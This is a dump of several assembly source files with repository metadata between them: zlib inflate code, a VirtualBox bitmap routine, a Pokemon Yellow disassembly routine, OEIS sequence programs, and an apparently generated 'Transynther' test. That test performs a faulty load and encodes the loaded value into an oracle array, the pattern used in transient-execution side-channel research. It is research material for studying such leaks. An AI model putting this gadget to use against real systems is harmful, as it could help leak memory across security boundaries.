esi,edi sub esi,ebx sub ecx,3 mov al, [esi] mov [edi],al mov al, [esi+1] mov dl, [esi+2] add esi,3 mov [edi+1],al mov [edi+2],dl add edi,3 rep movsb mov esi, [esp+44] mov ebx, [esp+8] jmp L_while_test_mmx ALIGN 4 L_check_dist_one_mmx: cmp ebx,1 jne L_check_window_mmx cmp [esp+40],edi je L_check_window_mmx dec edi mov ecx,edx mov al, [edi] sub ecx,3 mov [edi+1],al mov [edi+2],al mov [edi+3],al add edi,4 rep stosb mov ebx, [esp+8] jmp L_while_test_mmx ALIGN 4 L_test_for_second_level_length_mmx: test al,64 jnz L_test_for_end_of_block and eax,15 psrlq mm0,mm1 movd ecx,mm0 and ecx, [inflate_fast_mask+eax*4] add ecx,edx mov eax, [ebx+ecx*4] jmp L_dolen_mmx ALIGN 4 L_test_for_second_level_dist_mmx: test al,64 jnz L_invalid_distance_code and eax,15 psrlq mm0,mm1 movd ecx,mm0 and ecx, [inflate_fast_mask+eax*4] mov eax, [esp+12] add ecx,ebx mov eax, [eax+ecx*4] jmp L_dodist_mmx ALIGN 4 L_clip_window_mmx: mov ecx,eax mov eax, [esp+52] neg ecx mov esi, [esp+56] cmp eax,ebx jb L_invalid_distance_too_far add ecx,ebx cmp dword ptr [esp+48],0 jne L_wrap_around_window_mmx sub eax,ecx add esi,eax cmp edx,ecx jbe L_do_copy1_mmx sub edx,ecx rep movsb mov esi,edi sub esi,ebx jmp L_do_copy1_mmx cmp edx,ecx jbe L_do_copy1_mmx sub edx,ecx rep movsb mov esi,edi sub esi,ebx jmp L_do_copy1_mmx L_wrap_around_window_mmx: mov eax, [esp+48] cmp ecx,eax jbe L_contiguous_in_window_mmx add esi, [esp+52] add esi,eax sub esi,ecx sub ecx,eax cmp edx,ecx jbe L_do_copy1_mmx sub edx,ecx rep movsb mov esi, [esp+56] mov ecx, [esp+48] cmp edx,ecx jbe L_do_copy1_mmx sub edx,ecx rep movsb mov esi,edi sub esi,ebx jmp L_do_copy1_mmx L_contiguous_in_window_mmx: add esi,eax sub esi,ecx cmp edx,ecx jbe L_do_copy1_mmx sub edx,ecx rep movsb mov esi,edi sub esi,ebx L_do_copy1_mmx: mov ecx,edx rep movsb mov esi, [esp+44] mov ebx, [esp+8] jmp L_while_test_mmx ; 1174 "inffast.S" L_invalid_distance_code: mov ecx, invalid_distance_code_msg mov edx,INFLATE_MODE_BAD jmp L_update_stream_state L_test_for_end_of_block: test al,32 jz L_invalid_literal_length_code mov ecx,0 mov edx,INFLATE_MODE_TYPE jmp L_update_stream_state L_invalid_literal_length_code: mov ecx, invalid_literal_length_code_msg mov edx,INFLATE_MODE_BAD jmp L_update_stream_state L_invalid_distance_too_far: mov esi, [esp+44] mov ecx, invalid_distance_too_far_msg mov edx,INFLATE_MODE_BAD jmp L_update_stream_state L_update_stream_state: mov eax, [esp+88] test ecx,ecx jz L_skip_msg mov [eax+24],ecx L_skip_msg: mov eax, [eax+28] mov [eax+mode_state],edx jmp L_break_loop ALIGN 4 L_break_loop: ; 1243 "inffast.S" cmp dword ptr [inflate_fast_use_mmx],2 jne L_update_next_in mov ebx,ebp L_update_next_in: ; 1266 "inffast.S" mov eax, [esp+88] mov ecx,ebx mov edx, [eax+28] shr ecx,3 sub esi,ecx shl ecx,3 sub ebx,ecx mov [eax+12],edi mov [edx+bits_state],ebx mov ecx,ebx lea ebx, [esp+28] cmp [esp+20],ebx jne L_buf_not_used sub esi,ebx mov ebx, [eax+0] mov [esp+20],ebx add esi,ebx mov ebx, [eax+4] sub ebx,11 add [esp+20],ebx L_buf_not_used: mov [eax+0],esi mov ebx,1 shl ebx,cl dec ebx cmp dword ptr [inflate_fast_use_mmx],2 jne L_update_hold psrlq mm0,mm1 movd ebp,mm0 emms L_update_hold: and ebp,ebx mov [edx+hold_state],ebp mov ebx, [esp+20] cmp ebx,esi jbe L_last_is_smaller sub ebx,esi add ebx,11 mov [eax+4],ebx jmp L_fixup_out L_last_is_smaller: sub esi,ebx neg esi add esi,11 mov [eax+4],esi L_fixup_out: mov ebx, [esp+16] cmp ebx,edi jbe L_end_is_smaller sub ebx,edi add ebx,257 mov [eax+16],ebx jmp L_done L_end_is_smaller: sub edi,ebx neg edi add edi,257 mov [eax+16],edi L_done: add esp,64 popfd pop ebx pop ebp pop esi pop edi ret _inflate_fast endp _TEXT ends end
15.168363
81
0.641886
167acbf0d6b415376195bbb444fbc60c4b668dbc
5,600
asm
Assembly
vbox/src/VBox/Runtime/common/asm/ASMBitNextSet.asm
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
vbox/src/VBox/Runtime/common/asm/ASMBitNextSet.asm
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
vbox/src/VBox/Runtime/common/asm/ASMBitNextSet.asm
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
; $Id: ASMBitNextSet.asm 69219 2017-10-24 15:01:30Z vboxsync $ ;; @file ; IPRT - ASMBitNextSet(). ; ; ; Copyright (C) 2006-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %include "iprt/asmdefs.mac" BEGINCODE ;; ; Finds the next set bit in a bitmap. ; ; @returns (32/64:eax, 16:ax+dx) Index of the first zero bit. ; @returns (32/64:eax, 16:ax+dx) -1 if no set bit was found. ; @param msc:rcx gcc:rdi pvBitmap Pointer to the bitmap. ; @param msc:edx gcc:rsi cBits The number of bits in the bitmap. Multiple of 32. ; @param msc:r8d gcc:rcx iBitPrev The previous bit, start searching after it. ; ; @remarks Not quite sure how much sense it makes to do this in assembly, but ; it started out with the ASMBit* API, so that's why we still have it. ; BEGINPROC_EXPORTED ASMBitNextSet %if ARCH_BITS == 16 push bp mov bp, sp %endif push xDI ; ; Align input registers: rdi=pvBitmap, ecx=iPrevBit ; %if ARCH_BITS == 64 %ifdef ASM_CALL64_GCC ; ecx = iBitPrev param, rdi=pvBitmap param. %else mov rdi, rcx ; rdi=pvBits mov ecx, r8d ; ecx=iPrevBit mov r8d, edx ; r8d=cBits (saved for .scan_dwords) %endif mov r9, rdi ; Save rdi for bit calculation. %elif ARCH_BITS == 32 mov edi, [esp + 8] ; edi=pvBits mov ecx, [esp + 8 + 8] ; edx=iPrevBit %elif ARCH_BITS == 16 mov ax, [bp + 4 + 2] mov es, ax mov di, [bp + 4] ; es:di=pvBits mov ecx, [bp + 4 + 8] ; edx=iPrevBit %endif ; ; If iPrevBit and iPrevBit + 1 are in the same dword, inspect it for further bits. ; inc ecx mov eax, ecx shr eax, 5 shl eax, 2 ; eax=byte offset into bitmap of current dword. add xDI, xAX ; xDI=current dword address (of iPrevBit + 1). and ecx, 31 jz .scan_dwords %if ARCH_BITS == 16 mov edx, [es:di] ; edx = current dword %else mov edx, [xDI] ; edx = current dword %endif shr edx, cl ; Shift out bits that we have searched. jz .next_dword ; If zero, nothing to find. Go rep scasd. shl edx, cl ; Shift it back so bsf will return the right index. bsf edx, edx ; edx=index of first set bit shl eax, 3 ; Turn eax back into a bit offset of the current dword. add eax, edx ; eax=bit offset .return: pop xDI %if ARCH_BITS == 16 mov edx, eax shr edx, 16 leave %endif ret ; ; Do dword scan. ; ; Skip empty dword. .next_dword: add xDI, 4 ; Skip the empty dword. add eax, 4 .scan_dwords: ; First load and align bit count. %if ARCH_BITS == 64 %ifdef ASM_CALL64_GCC mov ecx, esi %else mov ecx, r8d %endif %elif ARCH_BITS == 32 mov ecx, [esp + 8 + 4] %elif ARCH_BITS == 16 mov ecx, [bp + 4 + 4] %endif add ecx, 31 shr ecx, 5 ; ecx=bitmap size in dwords. ; Adjust ecx to how many dwords there are left to scan. (eax = current byte offset) shr eax, 2 ; eax=current dword offset. sub ecx, eax jbe .return_failure ; Do the scanning. xor eax, eax repe scasd je .return_failure ; Find the bit in question. sub xDI, 4 ; One step back. %if ARCH_BITS == 16 movzx edi, di mov eax, [es:xDI] %else mov eax, [xDI] %endif bsf eax, eax jz .return_failure ; race paranoia ; Calc the bit offset. %if ARCH_BITS == 16 sub di, [bp + 4] movzx edi, di %elif ARCH_BITS == 32 sub xDI, [esp + 4] %elif ARCH_BITS == 64 sub xDI, r9 %endif shl edi, 3 ; edi=bit offset of current dword. add eax, edi jmp .return .return_failure: mov eax, 0ffffffffh jmp .return ENDPROC ASMBitNextSet
32.183908
95
0.526964
6222958d71a90a0f3fb88b7939acd666f86378e7
4,783
asm
Assembly
engine/bg_map_attributes.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
engine/bg_map_attributes.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
engine/bg_map_attributes.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
INCLUDE "data/bg_map_attributes.asm" LoadBGMapAttributes:: ld hl, BGMapAttributesPointers ld a, c ; c = which packet push af ; save for later (to determine if we're handling the trainer card or party menu) dec a ; read this code as: add a ; dec a ld e, a ; add a xor a ; ld e, a ld d, a ; ld d, 0 add hl, de ; add hl, de ld a, [hli] ; ld a, [hli] ld e, a ; ld h, [hl] ld a, [hl] ; ld l, a ld h, a ld a, e ld l, a di ld a, $1 ld [rVBK], a push hl ld a, [hl] ld c, a ; save attribute count for later ld de, $10 add hl, de ld a, h ld [rHDMA1], a ld a, l ld [rHDMA2], a ld de, vBGMap0 ld a, d ld [rHDMA3], a ld a, e ld [rHDMA4], a ld a, [rLCDC] and rLCDC_ENABLE_MASK ; is LCD off? jr z, .lcdOff ; if off, transfer immediately ; wait for VBlank if LCD is on .waitForVBlankLoop1 ld a, [rLY] cp $90 jr nz, .waitForVBlankLoop1 .waitForAccessibleVRAMLoop1 ld a, [rSTAT] and %10 ; are we in HBlank or VBlank? jr nz, .waitForAccessibleVRAMLoop1 ; loop until we're in a safe period to transfer to VRAM .lcdOff ld a, c ; number of BG attributes to transfer, plus 1 times 16 ld [rHDMA5], a ; initiate transfer call Func_3082 ; update audio so it doesn't "lag" pop hl ld a, [hli] ld c, a ; number of BG attributes to transfer, plus 1 times 16 ld a, [hli] ld e, a ld a, [hli] ld d, a ; offset of the attributes add hl, de ; hl = new pointer ld a, h ld [rHDMA1], a ld a, l ld [rHDMA2], a ld de, vBGMap1 ; copy to vBGMap1 ld a, d ld [rHDMA3], a ld a, e ld [rHDMA4], a ; LCD check again ld a, [rLCDC] and rLCDC_ENABLE_MASK ; is LCD off? jr z, .lcdOff2 ; if off, transfer immediately ; wait for VBlank if LCD is on .waitForVBlankLoop2 ld a, [rLY] cp $90 jr nz, .waitForVBlankLoop2 .waitForAccessibleVRAMLoop2 ld a, [rSTAT] and %10 ; are we in HBlank or VBlank? jr nz, .waitForAccessibleVRAMLoop2 ; loop until we're in a safe period to transfer to VRAM .lcdOff2 ld a, c ld [rHDMA5], a pop af dec a dec a dec a dec a jr nz, .checkIfHandlingPartyMenu call HandleBadgeFaceAttributes jr .done .checkIfHandlingPartyMenu dec a call z, HandlePartyHPBarAttributes .done call Func_3082 ld a, [rIF] res VBLANK, a ld [rIF], a xor a ld [rVBK], a ei ret BGMapAttributesPointers: dw BGMapAttributes_Unknown1 dw BGMapAttributes_Unknown2 dw BGMapAttributes_GameFreakIntro dw BGMapAttributes_TrainerCard dw BGMapAttributes_PartyMenu dw BGMapAttributes_NidorinoIntro dw BGMapAttributes_TitleScreen dw BGMapAttributes_Slots dw BGMapAttributes_Pokedex dw BGMapAttributes_StatusScreen dw BGMapAttributes_Battle dw BGMapAttributes_WholeScreen dw BGMapAttributes_Unknown13 dw BGMapAttributes_BattleGBC HandleBadgeFaceAttributes: ; zero out the attributes if the player doesn't have the respective badge ; BOULDERBADGE ld hl, vBGMap1 + $183 ld de, wTrainerCardBadgeAttributes + 6 * 0 ld a, [de] and a call z, ZeroOutCurrentBadgeAttributes ; CASCADEBADGE ld hl, vBGMap1 + $187 ld de, wTrainerCardBadgeAttributes + 6 * 1 ld a, [de] and a call z, ZeroOutCurrentBadgeAttributes ; THUNDERBADGE ld hl, vBGMap1 + $18b ld de, wTrainerCardBadgeAttributes + 6 * 2 ld a, [de] and a call z, ZeroOutCurrentBadgeAttributes ; RAINBOWBADGE ld hl, vBGMap1 + $18f ld de, wTrainerCardBadgeAttributes + 6 * 3 ld a, [de] and a call z, ZeroOutCurrentBadgeAttributes ; SOULBADGE ld hl, vBGMap1 + $1e3 ld de, wTrainerCardBadgeAttributes + 6 * 6 ld a, [de] and a call z, ZeroOutCurrentBadgeAttributes ; MARSHBADGE ld hl, vBGMap1 + $1e7 ld de, wTrainerCardBadgeAttributes + 6 * 7 ld a, [de] and a call z, ZeroOutCurrentBadgeAttributes ; VOLCANOBADGE ld hl, vBGMap1 + $1eb ld de, wTrainerCardBadgeAttributes + 6 * 8 ld a, [de] and a call z, ZeroOutCurrentBadgeAttributes ; EARTHBADGE ld hl, vBGMap1 + $1ef ld de, wTrainerCardBadgeAttributes + 6 * 9 ld a, [de] and a call z, ZeroOutCurrentBadgeAttributes ret ZeroOutCurrentBadgeAttributes: push hl xor a ld [hli], a ld [hl], a ld bc, $1f add hl, bc ld [hli], a ld [hl], a pop hl ret HandlePartyHPBarAttributes: ; hp bars require 3 (green, orange, red) colours, when there are only 2 "free" colours per palette ; therefore, we must transfer individual bg attributes where the locations of the hp bars are in vram ld hl, vBGMap1 + $25 ; location of start of the HP bar in vram ld de, wPartyHPBarAttributes ld c, PARTY_LENGTH .loop push bc push hl ld a, [de] and $3 ; 4 possible palettes rept 7 ; hp bar length in tiles ld [hli], a endr pop hl ld bc, $40 ; get 2nd party location add hl, bc push hl push de ; (inefficiently) copy de to hl pop hl ld bc, $6 add hl, bc ; get the next palette push hl pop de ; copy back to de pop hl pop bc dec c jr nz, .loop ret
21.642534
101
0.702906
c6a6edd073fbc4aaeff54ac4cf8cf6d2b1f36a7d
377
asm
Assembly
programs/oeis/033/A033064.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/033/A033064.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/033/A033064.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A033064: Numbers whose base-13 representation Sum_{i=0..m} d(i)*13^i has odd d(i) for all odd i. ; 1,2,3,4,5,6,7,8,9,10,11,12,14,16,18,20,22,24,27,29,31,33,35,37,40,42,44,46,48,50,53,55,57,59,61,63,66,68,70,72,74,76,79,81,83,85,87,89,92,94,96,98,100,102,105,107,109,111,113,115,118 add $0,1 mov $1,$0 mov $2,$0 sub $2,7 lpb $0,1 trn $0,6 add $2,1 lpe trn $2,8 add $1,$2
26.928571
184
0.633952
ff0b4738bcd4b1eedd9c1d9dbb9a5123f6fe186c
497
asm
Assembly
oeis/266/A266662.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/266/A266662.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/266/A266662.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A266662: Number of ON (black) cells in the n-th iteration of the "Rule 47" elementary cellular automaton starting with a single ON (black) cell. ; 1,2,2,5,2,9,2,13,2,17,2,21,2,25,2,29,2,33,2,37,2,41,2,45,2,49,2,53,2,57,2,61,2,65,2,69,2,73,2,77,2,81,2,85,2,89,2,93,2,97,2,101,2,105,2,109,2,113,2,117,2,121,2,125,2,129,2,133,2,137,2,141,2,145,2,149,2,153,2,157,2,161,2,165,2,169,2,173,2,177,2,181,2,185,2,189,2,193,2,197 mov $1,$0 lpb $1 sub $0,1 mul $0,2 mod $1,2 pow $0,$1 lpe add $0,1
41.416667
273
0.645875
7242c282a01d37b638e907d4e6138b3d1e7ce78d
351
asm
Assembly
programs/oeis/047/A047584.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/047/A047584.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047584.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A047584: Numbers that are congruent to {1, 3, 5, 6, 7} mod 8. ; 1,3,5,6,7,9,11,13,14,15,17,19,21,22,23,25,27,29,30,31,33,35,37,38,39,41,43,45,46,47,49,51,53,54,55,57,59,61,62,63,65,67,69,70,71,73,75,77,78,79,81,83,85,86,87,89,91,93,94,95,97,99,101,102,103,105,107 mov $2,$0 trn $2,2 lpb $0 sub $0,1 add $1,2 trn $1,$2 trn $2,5 lpe add $1,1
27
201
0.615385
bfe69f33c1cd4bff83ce9040740a2a62df23efa4
347
asm
Assembly
programs/oeis/278/A278313.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/278/A278313.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/278/A278313.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A278313: Number of letters "I" in Roman numeral representation of n. ; 1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0,1,2,3,1,0 add $0,6 mov $1,$0 mod $1,5 mov $2,2 lpb $2,1 trn $1,3 gcd $2,$1 lpe
28.916667
201
0.553314
03c7500aff48fbdb4fdbb6eb88d0292a8f772e11
7,004
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_219.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_219.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_219.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1eeed, %rsi lea addresses_WC_ht+0x1cdbd, %rdi nop nop nop nop nop dec %r10 mov $21, %rcx rep movsl nop nop dec %r8 lea addresses_D_ht+0xf731, %r9 nop nop nop nop nop sub %r13, %r13 mov (%r9), %r8w nop nop and %r13, %r13 lea addresses_WC_ht+0x12a6d, %rsi lea addresses_D_ht+0xd7ad, %rdi mfence mov $109, %rcx rep movsl nop nop nop nop add $44186, %r13 lea addresses_D_ht+0x326d, %rsi nop nop nop and $50574, %r14 mov $0x6162636465666768, %r9 movq %r9, (%rsi) nop nop nop xor %r10, %r10 lea addresses_A_ht+0x1556d, %r8 clflush (%r8) nop nop nop nop nop cmp $4168, %rsi vmovups (%r8), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rdi nop xor %r8, %r8 lea addresses_D_ht+0x5b6d, %r9 inc %rcx movb $0x61, (%r9) nop nop and $27590, %r13 lea addresses_WC_ht+0x1ee2d, %rsi lea addresses_WT_ht+0x916d, %rdi nop nop nop nop xor %r13, %r13 mov $52, %rcx rep movsb nop nop and $12521, %rcx lea addresses_UC_ht+0x128e5, %r13 nop nop nop nop dec %r10 mov (%r13), %r9d nop nop nop nop sub $46846, %r14 lea addresses_A_ht+0xfd0f, %rsi lea addresses_UC_ht+0x1626d, %rdi clflush (%rdi) sub $62278, %r10 mov $124, %rcx rep movsq cmp %r8, %r8 lea addresses_A_ht+0xbf01, %rsi lea addresses_WT_ht+0xf75f, %rdi nop nop cmp %r13, %r13 mov $65, %rcx rep movsw add %r8, %r8 pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r14 push %rax push %rbx push %rdx // Load lea addresses_UC+0x2a28, %r12 add %r11, %r11 movups (%r12), %xmm1 vpextrq $1, %xmm1, %r10 nop inc %r11 // Store lea addresses_PSE+0x1df6d, %r14 clflush (%r14) nop nop dec %rdx movw $0x5152, (%r14) nop nop nop nop add $62969, %r12 // Faulty Load lea addresses_PSE+0x1df6d, %rbx nop nop nop nop nop cmp $3909, %r11 mov (%rbx), %r12w lea oracles, %r10 and $0xff, %r12 shlq $12, %r12 mov (%r10,%r12,1), %r12 pop %rdx pop %rbx pop %rax pop %r14 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': True, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM'} {'52': 21829} 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 */
35.19598
2,999
0.656339
08f1dea748647637566f6d8f7c2343824ef41d96
64
asm
Assembly
pwnlib/shellcraft/templates/i386/ret.asm
kristoff3r/pwntools
9d94de956501dcf5f60c5a382c9a52078df99533
[ "MIT" ]
1
2019-09-30T04:00:13.000Z
2019-09-30T04:00:13.000Z
pwnlib/shellcraft/templates/i386/ret.asm
kristoff3r/pwntools
9d94de956501dcf5f60c5a382c9a52078df99533
[ "MIT" ]
null
null
null
pwnlib/shellcraft/templates/i386/ret.asm
kristoff3r/pwntools
9d94de956501dcf5f60c5a382c9a52078df99533
[ "MIT" ]
null
null
null
<%docstring>A single-byte RET instruction.</%docstring> ret
21.333333
55
0.71875
d9eaf41ece8f65ebfa1cbaf01e980da086f3acaf
465
asm
Assembly
programs/oeis/136/A136758.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
